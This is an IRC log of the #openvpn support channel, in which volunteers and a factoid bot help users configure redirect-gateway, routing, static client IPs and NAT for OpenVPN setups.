21:58 -!- xbanux [~xbanux@triband-mum-59.182.131.207.mtnl.net.in] has quit [Ping timeout: 245 seconds]
22:00 < latenite> pekster, nice. I will try to do all that now. For started I will feed myself the man page ... :D top to bottem
22:01 < latenite> pekster, one thing: How can I change the default route on my client? For now its still using the wifi
22:01 <+pekster> You want to redirect all Internet-bound traffic to use the VPN
22:01 <+pekster> !redirect
22:01 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
22:01 <@vpnHelper> http://ircpimps.org/redirect.png
22:02 <+pekster> (actually, you need to do that anyway for the DNAT-everything ruleset I showed above too, otherwise return routing gets all messed up)
22:04 <+pekster> rob0: Yea, I wonder if google has a write-up somewhere on what they do, or if they just filter everything and call that good enough for v6 for now
22:04 <+pekster> filter := spam filtering
22:06 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Read error: Operation timed out]
22:06 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
22:07 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Read error: Operation timed out]
22:07 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
22:07 -!- xbanux [~xbanux@triband-mum-59.182.131.207.mtnl.net.in] has joined #openvpn
22:07 -!- pinion [~pinion@unaffiliated/pinion] has quit [Read error: Operation timed out]
22:08 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Read error: Operation timed out]
22:08 -!- pinion [~pinion@unaffiliated/pinion] has joined #openvpn
22:08 < latenite> pekster, what does "(see !def1)" meen? How can I see info on that?
22:08 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
22:09 < rob0> !def1
22:09 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
22:10 < latenite> !ipforward
22:10 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
22:10 < latenite> ahh :D cool th
22:10 < latenite> x
22:10 < rob0> pekster: Content filtering is about the only thing they can do right now, other than maintaining private ipv6 blacklists.
22:10 < latenite> !nat
22:10 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
22:11 < rob0> but whereas ipv4 spam is ~90% of the SMTP traffic now, ipv6 spam is probably not nearly so high yet.
22:13 -!- Teck7 [~teck7@bas1-montreal54-1167955052.dsl.bell.ca] has joined #openvpn
22:16 < latenite> pekster, let me thank you. You realy got me a good start on things here. I will try to figure out the rest after lunch.
22:16 -!- rfxn [~teck7@bas1-montreal54-1168086246.dsl.bell.ca] has quit [Ping timeout: 248 seconds]
22:17 < latenite> I realy appreciate you help. I would have never found all that out
22:19 < latenite> pekster, can you tell me how to set the gateway in the route right? Right now its 0.0.0.0 and not the primary route: https://gist.github.com/anonymous/5074482
22:19 <@vpnHelper> Title: gist:5074482 (at gist.github.com)
22:21 <+pekster> latenite: Looks like you need to add the 'route-gateway' directive (or push it from the server if that's from the client's view)
22:21 <+pekster> That should match the VPN server's VPN IP. As before, see the --server expansion in the manpage
22:21 <+pekster> (it's included there)
22:22 < latenite> pekster, it is from the clients view. This is the server: https://gist.github.com/anonymous/5074493
22:22 <@vpnHelper> Title: gist:5074493 (at gist.github.com)
22:22 <+pekster> Oh, right, because it's on-link
22:23 <+pekster> 'ip route' is the preffered way to show routes
22:23 <+pekster> ifconfig, route, and netstat are all old tools for that purpose
22:26 < latenite> pekster, ok I will.
22:27 < latenite> pekster, the --server expansion only has two paramters: network and netmask
22:27 < latenite> https://gist.github.com/anonymous/5074497
22:28 <+pekster> The entire "for example" section is the expension
22:28 <+pekster> "... *expands* as follows:" (emphasis mine)
22:28 <+pekster> ifconfig, ifconfig-pool, push "route-gateway ..." are all part of the implicit expansion. You need to fix your pool range if you want staticly assigned IPs
22:29 <+pekster> ie: don't let --server do it for you. It's a helper-directive that only works if you want exactly what it "helps" do for you
22:29 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection]
22:29 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
22:29 -!- mode/#openvpn [+o vpnHelper] by ChanServ
22:32 < latenite> pekster, setting the pool range is part of the ccp file?
22:38 <+pekster> ccd is for client-specific options, so no. ifconfig-pool goes in the main server config
22:38 <+pekster> ifconfig-push gets put in a ccd file (or client-connect script.)
22:38 <+pekster> !ccd
22:38 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
22:57 -!- emmanuelux [~emmanuelu@94.23.150.162] has quit [Quit: emmanuelux]
23:03 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
23:03 -!- xbanux [~xbanux@triband-mum-59.182.131.207.mtnl.net.in] has quit []
23:03 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
23:04 -!- xbanux [~xbanux@triband-mum-59.182.131.207.mtnl.net.in] has joined #openvpn
23:15 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
23:16 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
23:21 -!- a [~d@64.111.123.163] has joined #openvpn
23:21 -!- a is now known as Guest94901
23:22 -!- takatuka [~takatuka2@85.105.115.238] has joined #openvpn
23:23 -!- rooth_ [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
23:26 -!- kisom [~kisom@c-75dce155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn
23:27 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 255 seconds]
23:27 -!- Winston_Smith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
23:27 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 255 seconds]
23:27 -!- Winston_Smith is now known as WinstonSmith
23:27 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has quit [Ping timeout: 255 seconds]
23:27 -!- xbanux [~xbanux@triband-mum-59.182.131.207.mtnl.net.in] has quit [Ping timeout: 255 seconds]
23:27 -!- kisom_ [~kisom@c-75dce155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Ping timeout: 255 seconds]
23:27 -!- uuuppz_ [uuuppz@78.129.207.46] has quit [Ping timeout: 255 seconds]
23:27 -!- xbanux [~xbanux@triband-mum-59.182.131.207.mtnl.net.in] has joined #openvpn
23:30 -!- uuuppz [uuuppz@78.129.207.46] has joined #openvpn
23:33 -!- MFSOT [~garret@c-24-34-166-26.hsd1.ma.comcast.net] has joined #openvpn
23:34 -!- xbanux [~xbanux@triband-mum-59.182.131.207.mtnl.net.in] has quit [Read error: Connection reset by peer]
23:34 -!- xbanux [~xbanux@triband-mum-59.182.131.220.mtnl.net.in] has joined #openvpn
23:37 -!- Matir_ [~matir@ubuntu/member/matir] has joined #openvpn
23:37 -!- takatuka [~takatuka2@85.105.115.238] has quit [Ping timeout: 264 seconds]
23:41 -!- gardar_ [~gardar@gardar.net] has joined #openvpn
23:43 -!- Matir [~matir@ubuntu/member/matir] has quit [Ping timeout: 245 seconds]
23:43 -!- gardar [~gardar@gardar.net] has quit [Ping timeout: 245 seconds]
23:43 -!- Devastator [~devas@177.18.198.56] has quit [Changing host]
23:43 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
23:43 -!- takatuka [~takatuka2@85.105.115.238] has joined #openvpn
23:43 -!- takatuka [~takatuka2@85.105.115.238] has quit [Client Quit]
23:44 -!- MFSOT [~garret@c-24-34-166-26.hsd1.ma.comcast.net] has quit [Ping timeout: 248 seconds]
23:47 -!- l1t [~l1t@cpe-70-112-112-239.austin.res.rr.com] has quit [Read error: Operation timed out]
23:48 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
23:50 -!- pcdummy_ [~quassel@mx1.page4me.ch] has joined #openvpn
23:52 -!- JStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 255 seconds]
23:52 -!- pcdummy [~quassel@unaffiliated/pcdummy] has quit [Ping timeout: 255 seconds]
23:52 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Ping timeout: 255 seconds]
23:52 -!- ChauffeR [squirrel@has.a.fluffy.redtail.it] has quit [Ping timeout: 255 seconds]
23:52 -!- Netsplit *.net <-> *.split quits: troyt, lickalott, wykydtro-, HectorBarbossa, Cybertinus
23:52 -!- ChauffeR [squirrel@has.a.fluffy.redtail.it] has joined #openvpn
23:55 <+pekster> !interface
23:55 <@vpnHelper> "interface" is (#1) paste interface configuration from both client and server, while being disconnected and when beeing connected. Be sure to also add the routing tables for both situations from client and from server or (#2) in windows: ipconfig /all - unix: ifconfig -a , and for routing tables: netstat -rn
23:56 <+pekster> !forget interface 2
23:56 <@vpnHelper> Joo got it.
23:56 <+pekster> !learn interface as For Windows: iface: 'ipconfig /all' routing: 'route print' (add -4 or -6 for just IPv4 or v6)
23:56 <@vpnHelper> Joo got it.
23:56 <+pekster> !learn interface as For Unix: iface: 'ifconfig -a' routing: 'netstat -rn'
23:56 <@vpnHelper> Joo got it.
23:56 -!- Netsplit over, joins: Cybertinus, wykydtro-, HectorBarbossa, troyt, lickalott
23:56 <+pekster> !learn interface as For Linux: iface: 'ip a s' routing: 'ip r' (use ip -6 for IPv6 routes)
23:56 <@vpnHelper> Joo got it.
23:57 <+pekster> !interface
23:57 <@vpnHelper> "interface" is (#1) paste interface configuration from both client and server, while being disconnected and when beeing connected. Be sure to also add the routing tables for both situations from client and from server or (#2) For Windows: iface: 'ipconfig /all' routing: 'route print' (add -4 or -6 for just IPv4 or v6) or (#3) For Unix: iface: 'ifconfig -a' routing: 'netstat -rn' or (#4) For Linux:
23:57 <@vpnHelper> iface: 'ip a s' routing: 'ip r' (use ip -6 for IPv6 routes)
23:58 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
23:58 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
23:58 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
23:58 -!- mode/#openvpn [+o krzee] by ChanServ
23:58 <+pekster> !forget interface 4
23:58 <@vpnHelper> Joo got it.
23:58 <+pekster> !learn interface as For Linux: iface: 'ip a' routing: 'ip r' (use ip -6 for IPv6 routes)
23:58 <@vpnHelper> Joo got it.
23:59 <+pekster> That should clean up v4/v6 and OS-centric weirdness in those outputs
--- Day changed Sun Mar 03 2013
00:01 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
00:02 -!- JStoker [jstoker@unaffiliated/jstoker] has joined #openvpn
00:03 -!- JStoker [jstoker@unaffiliated/jstoker] has quit [Excess Flood]
00:05 -!- JStoker [jstoker@unaffiliated/jstoker] has joined #openvpn
00:07 -!- mode/#openvpn [-v pekster] by ChanServ
00:10 -!- xbanux [~xbanux@triband-mum-59.182.131.220.mtnl.net.in] has quit [Read error: Connection reset by peer]
00:10 -!- xbanux [~xbanux@triband-mum-59.182.183.81.mtnl.net.in] has joined #openvpn
00:17 -!- xbanux [~xbanux@triband-mum-59.182.183.81.mtnl.net.in] has quit [Read error: Connection reset by peer]
00:18 -!- xbanux [~xbanux@triband-mum-59.182.129.185.mtnl.net.in] has joined #openvpn
00:21 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
00:21 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
00:21 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
00:21 -!- mode/#openvpn [+o krzee] by ChanServ
00:23 -!- necron [~voidnecro@freebsd.xs4all.nl] has joined #openvpn
00:23 -!- necron [~voidnecro@freebsd.xs4all.nl] has quit [Changing host]
00:23 -!- necron [~voidnecro@unaffiliated/necron] has joined #openvpn
00:24 -!- voidnecron [~voidnecro@unaffiliated/necron] has quit [Ping timeout: 245 seconds]
00:25 -!- xbanux [~xbanux@triband-mum-59.182.129.185.mtnl.net.in] has quit [Read error: Connection reset by peer]
00:25 -!- xbanux [~xbanux@triband-mum-59.182.137.114.mtnl.net.in] has joined #openvpn
00:27 -!- md_5 [~md_5@mcdevs/trusted/md-5] has quit [Quit: ZNC - http://znc.in]
00:27 -!- md_5 [md_5@mcdevs/trusted/md-5] has joined #openvpn
01:25 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
01:41 -!- daemoen [~daemoen@216.245.201.138] has quit [Ping timeout: 248 seconds]
01:43 -!- daemoen [~daemoen@216.245.201.138] has joined #openvpn
02:13 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
02:34 -!- xbanux [~xbanux@triband-mum-59.182.137.114.mtnl.net.in] has quit [Read error: Connection reset by peer]
02:34 -!- xbanux [~xbanux@triband-mum-59.182.140.252.mtnl.net.in] has joined #openvpn
02:38 -!- xbanux [~xbanux@triband-mum-59.182.140.252.mtnl.net.in] has quit [Read error: Connection reset by peer]
02:39 -!- xbanux [~xbanux@triband-mum-59.182.146.222.mtnl.net.in] has joined #openvpn
02:39 -!- dli_ [~dli@69.172.86.211] has quit [Ping timeout: 252 seconds]
02:43 -!- dli_ [~dli@dsl-69-172-86-211.acanac.net] has joined #openvpn
02:45 -!- xbanux [~xbanux@triband-mum-59.182.146.222.mtnl.net.in] has quit [Read error: Connection reset by peer]
02:46 -!- xbanux [~xbanux@triband-mum-59.182.156.143.mtnl.net.in] has joined #openvpn
02:57 -!- alcuadrado [~alcuadrad@unaffiliated/alcuadrado] has joined #openvpn
02:58 < alcuadrado> !welcome
02:58 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
02:58 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
02:58 < alcuadrado> !goal
02:58 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
03:06 -!- latenite [~latenite@138.77.120.247] has quit [Ping timeout: 256 seconds]
03:15 -!- pinion [~pinion@unaffiliated/pinion] has quit [Ping timeout: 248 seconds]
03:15 -!- pinion [~pinion@unaffiliated/pinion] has joined #openvpn
03:30 -!- fluter [~fluter@fedora/fluter] has quit [Quit: Leaving]
03:36 -!- alcuadrado [~alcuadrad@unaffiliated/alcuadrado] has quit [Remote host closed the connection]
03:50 <+EugeneKay> !redirect
03:50 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
03:50 <@vpnHelper> http://ircpimps.org/redirect.png
03:55 -!- oyugik [~oyugik@197.237.84.62] has joined #openvpn
03:56 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
03:56 < oyugik> Hi guys is there a way I can connect to home network via openvpn
03:57 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Client Quit]
03:58 <+EugeneKay> oyugik - yup. This is a use case covered in the howto.
04:01 < oyugik> do I get tht from the website
04:02 < oyugik> my sccenario is we have a corporate office network
04:03 < oyugik> I want to be able to use an back up application to ensure that I am able to login globally and get my files no matter where I am
04:03 <+EugeneKay> !howto
04:03 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
04:12 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
04:14 < oyugik> thanks guys
04:23 <@novaflash> just FYI for all you guys; cloudflare DNS has suffered a major fail, many sites on the internet are unreachable at the moment, and it's being fixed by cloudflare. openvpn.net and privatetunnel.com are affected by this as well. so far it looks like in most parts of the world it's working again. some areas may need to get their dns servers updated again before it'll all work.
04:28 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Read error: Connection reset by peer]
04:29 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
04:29 -!- mode/#openvpn [+o vpnHelper] by ChanServ
04:31 -!- Guest94901 [~d@64.111.123.163] has quit [Read error: Connection reset by peer]
04:31 -!- catsup [~d@64.111.123.163] has joined #openvpn
04:34 -!- oyugik [~oyugik@197.237.84.62] has quit [Ping timeout: 248 seconds]
04:44 -!- Teck7 [~teck7@bas1-montreal54-1167955052.dsl.bell.ca] has quit [Read error: Connection reset by peer]
04:49 -!- oyugik [~oyugik@197.237.84.62] has joined #openvpn
05:01 -!- JSharpe [~JSharpe@185.2.137.212] has joined #openvpn
05:17 -!- xbanux [~xbanux@triband-mum-59.182.156.143.mtnl.net.in] has quit [Ping timeout: 246 seconds]
05:22 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has quit [Ping timeout: 272 seconds]
05:25 -!- oyugik [~oyugik@197.237.84.62] has left #openvpn []
05:25 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
05:27 -!- smerz [~smerz@a177088.upc-a.chello.nl] has joined #openvpn
05:40 -!- JSharpe [~JSharpe@185.2.137.212] has quit [Quit: Leaving]
06:17 -!- JSharpe [~JSharpe@46.23.64.90] has joined #openvpn
06:40 -!- MFSOT [~garret@c-24-34-166-26.hsd1.ma.comcast.net] has joined #openvpn
06:41 -!- newbie|2 [~tjz@bb219-74-43-126.singnet.com.sg] has joined #openvpn
06:43 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 252 seconds]
06:46 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 248 seconds]
06:53 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
06:53 -!- MFSOT [~garret@c-24-34-166-26.hsd1.ma.comcast.net] has quit [Ping timeout: 248 seconds]
06:54 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
06:55 -!- fluter [~fluter@fedora/fluter] has quit [Max SendQ exceeded]
06:57 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
07:05 -!- l1t [~l1t@cpe-70-112-112-239.austin.res.rr.com] has joined #openvpn
07:16 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
07:37 -!- knobo` [~bohmer@174.16.9.46.customer.cdi.no] has joined #openvpn
07:37 < knobo`> Can I make openvpn update /etc/hosts?
07:41 -!- Eryn_1983_FL [~Eryn_1983@142.196.88.205] has joined #openvpn
07:47 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
07:47 <+EugeneKay> Sure.
07:47 <+EugeneKay> !script
07:47 <@vpnHelper> "script" is see http://openvpn.net/index.php/open-source/documentation/manuals/69-openvpn-21.html#lbAR for a list of places scripts can hook into openvpn
07:47 < Eryn_1983_FL> hey peeps
07:47 <+EugeneKay> It would be better to have it do a DDNS update tho - editing /etc/hosts is fragile; DNS was invented to make those problems go away
07:47 < Eryn_1983_FL> can you guys help me out with dd-wrt openvpn and hidemyass.com ?
07:48 < knobo`> good idea
07:48 <+EugeneKay> !provider
07:48 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
07:48 <+EugeneKay> Our ability to help is limited if you don't control the server
07:48 < Eryn_1983_FL> i went through both their how tos and i am stumped
07:48 < knobo`> ipp.txt shows a different IP then the client actually got..
07:48 < knobo`> ifconfig-pool-persist ipp.txt
07:49 <+EugeneKay> !ipp
07:49 <@vpnHelper> "ipp" is (#1) the option --ifconfig-pool-persist ipp.txt does NOT create static ips or (#2) Note that the entries in this file are treated by OpenVPN as suggestions only, based on past associations between a common name and IP address. They do not guarantee that the given common name will always receive the given IP address. If you want guaranteed assignment, see !iporder and !static
07:49 < knobo`> thanx
07:52 -!- Eagleman7 [~Eagleman@vpn.eagleman.net] has joined #openvpn
07:52 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
07:54 < knobo`> !iporder
07:54 <@vpnHelper> "iporder" is (#1) OpenVPN's internal client IP address selection algorithm works as follows: 1 -- Use --client-connect script generated file for static IP (first choice). or (#2) Use --client-config-dir file for static IP (next choice) !static for more info or (#3) Use --ifconfig-pool allocation for dynamic IP (last choice) or (#4) if you use --ifconfig-pool-persist see !ipp
07:54 -!- pinion_ [~pinion@unaffiliated/pinion] has joined #openvpn
07:54 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
07:54 -!- Orbi [~opera@109.129.18.23] has joined #openvpn
07:56 -!- kisom_ [~kisom@c-75dce155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn
07:59 -!- knobo` [~bohmer@174.16.9.46.customer.cdi.no] has quit [Ping timeout: 240 seconds]
08:00 -!- jave_ [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
08:00 -!- Thermi [~Thermi@HSI-KBW-078-043-018-016.hsi4.kabel-badenwuerttemberg.de] has quit [Ping timeout: 260 seconds]
08:01 -!- Netsplit *.net <-> *.split quits: vistas, Eagleman, smerz, pinion, jgeboski, Mcloven, ChauffeR, rooth_, kisom, jave
08:02 -!- Netsplit over, joins: jgeboski
08:02 -!- Netsplit over, joins: vistas
08:03 -!- Thermi [~Thermi@HSI-KBW-078-043-018-016.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
08:04 -!- Eryn_1983_FL [~Eryn_1983@142.196.88.205] has quit [Read error: Connection reset by peer]
08:05 -!- Eryn_1983_FL [~Eryn_1983@142.196.88.205] has joined #openvpn
08:07 -!- ChauffeR [squirrel@has.a.fluffy.redtail.it] has joined #openvpn
08:08 -!- smerz [~smerz@a177088.upc-a.chello.nl] has joined #openvpn
08:12 -!- kisom_ is now known as kisom
08:13 -!- Eryn_1983_FL [~Eryn_1983@142.196.88.205] has quit [Ping timeout: 255 seconds]
08:25 -!- Orbi [~opera@109.129.18.23] has left #openvpn []
08:25 -!- Orbi [~opera@109.129.18.23] has joined #openvpn
08:29 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
08:32 -!- smerz [~smerz@a177088.upc-a.chello.nl] has quit [Read error: Operation timed out]
08:40 -!- Eryn_1983_FL [~Eryn_1983@142.196.88.205] has joined #openvpn
08:50 -!- pequalsnp [~alexander@f054186078.adsl.alicedsl.de] has joined #openvpn
08:51 < pequalsnp> hi, I have a freebsd gateway with dhcpd set up, now I want to the openvpn client on this gateway and route all dhcp client traffic over openvpn? How do I proceed?
08:51 -!- BasicXP [~basicxp@ubuntu/member/BasicXP] has joined #openvpn
08:52 -!- Orbi [~opera@109.129.18.23] has left #openvpn []
08:52 -!- Orbi [~opera@109.129.18.23] has joined #openvpn
08:58 -!- fluter [~fluter@fedora/fluter] has quit [Remote host closed the connection]
09:01 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
09:32 -!- TommehM [~TomM@unaffiliated/tommehm] has quit [Excess Flood]
09:37 -!- Eryn_1983_FL [~Eryn_1983@142.196.88.205] has left #openvpn ["WeeChat 0.3.2"]
09:41 <+EugeneKay> openvpn prefers to hand out its own addresses
09:41 <+EugeneKay> You can do a bridged seup and dhcp, but such things tend to have bad performance
09:44 -!- TommehM [~TomM@unaffiliated/tommehm] has joined #openvpn
09:45 < pequalsnp> EugeneKay: I would like to route over tun. Is this a bad idea?
09:45 <+EugeneKay> pequalsnp - routing is the only thing you can do over tun
09:45 <+EugeneKay> When doing routing(the recommended openvpn method) you have to use openvpn's internal addressing
09:46 <+EugeneKay> If your desire for DHCPd is for rDNS records or such, use an --up script
09:47 < pequalsnp> EugeneKay: what do you mean by internal addressing?
09:47 <+EugeneKay> The way openvpn hands out addresses
09:47 -!- novaflash is now known as novaflash_away
09:48 -!- novaflash_away is now known as novaflash
09:49 < pequalsnp> But I only need the address for the freebsd box, right?
09:50 <+EugeneKay> I'm speaking about the addresses used on the vpn
09:53 < pequalsnp> EugeneKay: I'm not sure I understand. does this concern nat?
09:53 <+EugeneKay> In the sense that it's networking
09:53 <+EugeneKay> What are you trying to do?
09:56 < pequalsnp> EugeneKay: I have a router connected directly to the internet. to this router I want to connect the freebsd box as a gateway which should route all traffic over openvpn.
09:56 <+EugeneKay> Ah
09:56 <+EugeneKay> !redirect
09:56 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
09:56 <+EugeneKay> !route
09:56 <@vpnHelper> http://ircpimps.org/redirect.png
09:56 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
09:56 <@vpnHelper> behind the server or client
10:00 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
10:01 < pequalsnp> EugeneKay: nice! :) I have some reading to do... thank you!
10:03 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
10:29 -!- pequalsnp [~alexander@f054186078.adsl.alicedsl.de] has quit [Ping timeout: 260 seconds]
10:43 -!- Visitorer [~Visitorer@unaffiliated/visitorer] has quit [Quit: Client has a boner *rimshot* Get it?]
10:48 -!- xbanux [~xbanux@triband-mum-59.182.152.159.mtnl.net.in] has joined #openvpn
10:55 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 248 seconds]
11:01 -!- raidz_away [~raidz@raidz.im] has joined #openvpn
11:01 -!- raidz_away is now known as raidz
11:01 -!- raidz [~raidz@raidz.im] has quit [Changing host]
11:01 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
11:01 -!- mode/#openvpn [+o raidz] by ChanServ
11:15 -!- smerz [~smerz@a177088.upc-a.chello.nl] has joined #openvpn
11:15 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
11:17 -!- alcuadrado [~alcuadrad@unaffiliated/alcuadrado] has joined #openvpn
11:23 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
11:23 -!- mode/#openvpn [+o krzee] by ChanServ
11:36 < alcuadrado> !welcome
11:36 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
11:36 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
11:36 < alcuadrado> !logs
11:36 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
11:36 < alcuadrado> !configs
11:36 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
11:57 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
12:20 -!- master_o1_master [~master_of@p4FF242D5.dip.t-dialin.net] has quit [Ping timeout: 246 seconds]
12:22 -!- master_of_master [~master_of@p4FF2449F.dip.t-dialin.net] has joined #openvpn
12:39 -!- knobo` [~bohmer@174.16.9.46.customer.cdi.no] has joined #openvpn
12:46 -!- ar0nic [~no@c-174-56-147-242.hsd1.sc.comcast.net] has quit [Ping timeout: 256 seconds]
12:55 -!- madsage [sage@2001:470:c:1292::2] has joined #openvpn
